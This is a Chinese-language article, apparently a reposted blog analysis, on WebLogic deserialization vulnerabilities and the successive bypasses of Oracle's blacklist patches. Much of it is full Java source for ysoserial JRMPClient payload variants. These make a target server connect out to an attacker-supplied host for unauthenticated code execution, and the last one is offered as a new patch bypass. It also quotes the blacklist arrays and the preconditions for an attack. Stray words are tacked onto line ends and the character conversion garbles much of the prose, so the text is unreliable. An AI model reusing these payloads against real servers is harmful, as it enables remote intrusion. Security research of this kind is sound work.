WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基於JAVAEE架構的中間件,WebLogic是用於開發、集成、部署和管理大型分佈式Web應用、網絡應用和數據庫應用的Java應用服務器。html
利用Java反序列化和 Apache Commons Collections 這一基礎類庫來×××,實現遠程代碼執行。
查看CVE-2015-4852的補丁,發現weblogic採用黑名單的形式來修復這個漏洞,這中修復方案很被動,存在被繞過風險,只要發現可用而且未在黑名單以外的反序列化類,即可形成新的反序列化×××。java
weblogic反序列化的點有三個,黑名單ClassFilter.class也做用於這三個位置:程序員
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream weblogic.rjvm.MsgAbbrevInputStream.class weblogic.iiop.Utils.class
使用weblogic.jms.common.StreamMessageImpl的 readExternal()繞過web
原理是將反序列化的對象封裝進了weblogic.corba.utils.MarshalledObject,而後再對 MarshalledObject進行序列化,生成 payload 字節碼。反序列化時 MarshalledObject 不在 WebLogic 黑名單裏,可正常反序列化,在反序列化時 MarshalledObject對象調用 readObject 時對 MarshalledObject 封裝的序列化對象再次反序列化,這樣就逃過了黑名單的檢查。spring
JRMP協議:Java遠程消息交換協議 JRMP 即 Java Remote MessagingProtocol ,是特定於 Java 技術的、用於查找和引用遠程對象的協議。這是運行在 Java 遠程方法調用 RMI 之下、TCP/IP 之上的線路層協議。
RMI:是Remote Method Invocation的簡稱,是J2SE的一部分,
可以讓程序員開發出基於Java的分佈式應用。一個RMI對象是一個遠程Java對象,
能夠從另外一個Java虛擬機上(甚至跨過網絡)調用它的方法,
能夠像調用本地Java對象的方法同樣調用遠程對象的方法,
使分佈在不一樣的JVM中的對象的外表和行爲都像本地對象同樣。數據庫
這個漏洞就是利用 RMI 機制的缺陷,經過 JRMP 協議達到執行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister,這將會序列化一個 RemoteObjectInvocationHandler,該RemoteObjectInvocationHandler使用UnicastRef創建到遠端的 TCP 鏈接獲取RMI registry。 此鏈接使用 JRMP 協議,所以客戶端將反序列化服務器響應的任何內容,從而實現未經身份驗證的遠程代碼執行。
JRMPLister代碼:apache
package ysoserial.payloads; import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; /** * * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long) * DGCClient$EndpointEntry.registerRefs(List<LiveRef>) * DGCClient.registerRefs(Endpoint, List<LiveRef>) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Thread.start() * DGCClient$EndpointEntry.<init>(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List<LiveRef>) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Requires: * - JavaSE * * Argument: * - host:port to connect to, host only chooses random port (DOS if repeated many times) * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> { public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }
修復方式只是在resolveProxyClass進行一個簡單的判斷,攔截java.rmi.registry.Registry接口。因此很快就有了下一個繞過。服務器
網上公開的繞CVE-2017-3248有這幾種方法:
第一種:
修改ysoerial的JRMPClient,精簡了原來的payload,直接就是一個sun.rmi.server.UnicastRef對象。由於Proxy在這裏並非必需的,因此去掉以後對反序列化利用沒有影響。payload中沒有了proxy,weblogic反序列化的時候,resolveProxyClass根本就沒有被調用到,因此就bypass了CVE-2017-3248的patch。網絡
package ysoserial.payloads; import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; /** * * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long) * DGCClient$EndpointEntry.registerRefs(List<LiveRef>) * DGCClient.registerRefs(Endpoint, List<LiveRef>) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Thread.start() * DGCClient$EndpointEntry.<init>(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List<LiveRef>) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Requires: * - JavaSE * * Argument: * - host:port to connect to, host only chooses random port (DOS if repeated many times) * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> { public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return ref; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }
第二種:替換接口
繞過是用java.rmi.activation.Activator替換java.rmi.registry.Registry,從而繞過resolveProxyClass的判斷。其實這裏對接口沒有要求,不必定是rmi接口,隨便找一個接口都行,好比java.util.Map架構
package ysoserial.payloads; import java.lang.reflect.Proxy; import java.rmi.activation.Activator; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; /** * * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long) * DGCClient$EndpointEntry.registerRefs(List<LiveRef>) * DGCClient.registerRefs(Endpoint, List<LiveRef>) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Thread.start() * DGCClient$EndpointEntry.<init>(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List<LiveRef>) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Requires: * - JavaSE * * Argument: * - host:port to connect to, host only chooses random port (DOS if repeated many times) * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient extends PayloadRunner implements ObjectPayload<Activator> { public Activator getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Activator.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }
第三種:weblogic.jms.common.StreamMessageImpl
StreamMessageImpl這個點在反序列化的時候沒有resolveProxyClass檢查,從而繞過。
Oracle在2018年4月發佈的補丁中修復方式是將sun.rmi.server.UnicastRef加入了黑名單中,weblogic.utils.io.oif.WebLogicFilterConfig.class:
private static final String[] DEFAULT_LIMITS = { "maxdepth=100" }; private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" }; private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" };
這個修復方式只對提交的bypass(Payload 1)有效,而Payload 2和3依然可使用。分析了一下後兩個payload依然可使用的緣由: 主要是sun.rmi.server.UnicastRef通過了java.rmi.server.RemoteObjectInvocationHandler的封裝,在序列化生成payload時,修改了UnicastRef對象寫入流程。
針對前面漏洞沒有修復完全的問題,在今年7月份的補丁中進行了以下修復:
private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" }; private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };
黑名單進行了更新:
java.rmi.activation.* sun.rmi.server.* java.rmi.server.RemoteObjectInvocationHandler java.rmi.server.UnicastRemoteObject
CVE-2018-2893仍是能夠繼續繞的,根據前面的分析可知,咱們只須要找一個相似java.rmi.server.RemoteObjectInvocationHandler的類進行替換,就能繼續繞過了。那麼這個類應該知足如下條件:
繼承遠程類:java.rmi.server.RemoteObject不在黑名單裏邊(java.rmi.activation. 、sun.rmi.server.)
隨便找了一下,符合條件的挺多的:
javax.management.remote.rmi.RMIConnectionImpl_Stub com.sun.jndi.rmi.registry.ReferenceWrapper_Stub javax.management.remote.rmi.RMIServerImpl_Stub sun.rmi.registry.RegistryImpl_Stub sun.rmi.transport.DGCImpl_Stub
RMIConnectionImpl_Stub 繼承至--> java.rmi.server.RemoteStub 繼承至-->java.rmi.server.RemoteObject
稍微改一下payload便能繼續利用了:
package ysoserial.payloads; import java.rmi.server.ObjID; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.util.PayloadRunner; import javax.management.remote.rmi.RMIConnectionImpl_Stub; @SuppressWarnings ( { "restriction" } ) public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> { public Object getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref); return stub; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader()); PayloadRunner.run(JRMPClient3.class, args); } }
RMIConnectionImpl_Stub替換RemoteObjectInvocationHandler以後,payload又能用了。
後續利用須要配合Jdk7u21來執行命令:
一、服務器沒有禁用T三、T3S協議。
二、weblogic服務器需能訪問到外網,才能發起JRMP請求。
三、服務器使用低版本jdk
參考連接:
https://xz.aliyun.com/t/2479
https://paper.seebug.org/584/
http://drops.the404.me/637.html